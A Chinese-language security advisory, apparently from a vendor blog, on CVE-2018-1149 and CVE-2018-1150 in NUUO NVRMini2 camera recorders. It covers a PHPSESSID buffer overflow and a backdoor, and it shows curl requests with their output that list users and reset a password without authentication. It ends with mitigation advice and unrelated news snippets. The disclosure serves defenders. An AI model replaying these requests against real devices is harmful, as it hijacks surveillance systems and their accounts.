一 漏洞概述
1.1简介
Tenable官网上公开了关于由NUUO公司开发的摄像头系统NVRMini2存在多个严重漏洞
NVRMini2的结构简图如下:
1.2漏洞风险
项目 | 描述 |
CVE ID | CVE-2018-1149 CVE-2018-1150 |
Nessus插件ID | 117427 |
CVSSv2基准/时间分数 | 10.0 / 8.3 |
CVSSv2向量 | AV:N / AC:L / Au:N / C:C / I:C / A:C |
受影响的产品 | NUUO NVRMini2 3.8.0及以下版本 |
风险因素 | 严重 |
1.3 漏洞细节
NVRMini2系统对外暴露了一个HTTP访问接口http://<target>/cgi-bin/cgi_system,通过这个接口,具有权限的用户可以访问到终端设备。
cgi_system文件中的功能只有授权用户可以访问,认证的方法为比较用户访问数据Cookie字段中的PHPSESSID值和存储/tmp目录中的session
文件名,构建session文件名的代码如下:
从sub_534a4返回的值为会话标识字符串。程序对该字符串长度没有作任何限制。当字符串传递到sprintf以构建tmp文件名时并没有边界检查。
因此,未经身份验证的攻击者可以将超长的PHPSESSID值远程传递给sprintf导致缓冲区溢出,从而远程执行代码。
测试代码如下:
测试代码会导致NVR系统会发生崩溃现象,经过深入分析,也可以远程执行代码,攻击者不仅能够控制NVR,还可以访问和修改NVR中所有的用户凭证数据,影响严重。
NVRMini2的PHP代码中常见的习惯为:
但是,check_session_is_valid()函数中却存在后门的代码,函数如下:
其中标识为“back door”的字样为其源码中就存在的。constant(“MOSES_FILE”) 指向的路径为/tmp/moses。如果/tmp/moses/存在,
则未授权的攻击者可以远程列出所有非admin的用户,并修改他们的密码.
albinolobster@ubuntu:~$ curl http://xxxxxxxxxxx/users_rs_xml.php
<AccountInfo>
<users>
<userinfo><no>1</no><username>testuser</username><group>poweruser</group><displaygroup>power user</displaygroup><live>1,2,3,4,5,6,7,8</live><playback>1,2,3,4,5,6,7,8</playback><ptz>1</ptz><io>1</io><backupdata>1</backupdata><deletedata>1</deletedata><emapsetting>1</emapsetting><remotalksetting>1
</remotalksetting><log>0</log></userinfo>
</users>
<groups>
<groupinfo><no>1</no><groupname>poweruser</groupname><displayname>power user</displayname><groupmembers>testuser</groupmembers></groupinfo><groupinfo><no>2</no><groupname>user</groupname><displayname>user</displayname><groupmembers></groupmembers></groupinfo><groupinfo><no>3</no><groupname>guestuser</groupname><displayname>guestuser</displayname><groupmembers></groupmembers></groupinfo></groups>
</AccountInfo>
test@ubuntu:~$ curl 'http://xxxxxxxxx /users_rs_xml.php?cmd?cmd=changepwd&username=testuser&newpwd=pwned'
change password: testuser ok!
123456789101112 albinolobster@ubuntu:~$ curl http://xxxxxxxxxxx/users_rs_xml.php<Acc<AccountInfo><users><userinfo><no>1</no><username>testuser</username><group>poweruser</group><displaygroup>power user</displaygroup><live>1,2,3,4,5,6,7,8</live><playback>1,2,3,4,5,6,7,8</playback><ptz>1</ptz><io>1</io><backupdata>1</backupdata><deletedata>1</deletedata><emapsetting>1</emapsetting><remotalksetting>1</remotalksetting><log>0</log></userinfo></users><groups><groupinfo><no>1</no><groupname>poweruser</groupname><displayname>power user</displayname><groupmembers>testuser</groupmembers></groupinfo><groupinfo><no>2</no><groupname>user</groupname><displayname>user</displayname><groupmembers></groupmembers></groupinfo><groupinfo><no>3</no><groupname>guestuser</groupname><displayname>guestuser</displayname><groupmembers></groupmembers></groupinfo></groups></AccountInfo>test@ubuntu:~$ curl 'http://xxxxxxxxx /users_rs_xml.php?cmd?cmd=changepwd&username=testuser&newpwd=pwned'change password: testuser ok!
二 漏洞影响
根据 ZoomEye 网络空间搜索引擎对 NUUO 服务的搜索结果,共找到 63,278 条历史记录。
三 修复方案
1.官方暂时没有相关的方案,建议保证设备不暴露在互联网上,并在防火墙设备上加入对摄像头HTTP服务的访问控制策略。
2.技术业务咨询
知道创宇技术业务咨询热线:400-060-9587(政府、国有企业)
028-68360638(互联网企业)
2020年09月17日,IBM发布安全公告,WebSphere Application Server中存在一个安全漏洞,该漏洞是由于WebSphere Application Server在处理XML数据时容易受到XML外部实体注入(XXE)攻击。
2020年9月22日,FastAdmin远程代码执行漏洞细节曝光,黑客登录前台会员中心,即可远程GetShell,风险极大。
2020年9月17日,VMware发布安全公告,在Spring Framework版本5.2.0-5.2.8、5.1.0-5.1.17、5.0.0-5.0.18、4.3.0-4.3.28和较旧的不受支持的版本中,发现了一个存在于Spring Framework中的反射型文件下载(Reflected File Download,RFD)漏洞(CVE-2020-5421)。
获取安全动态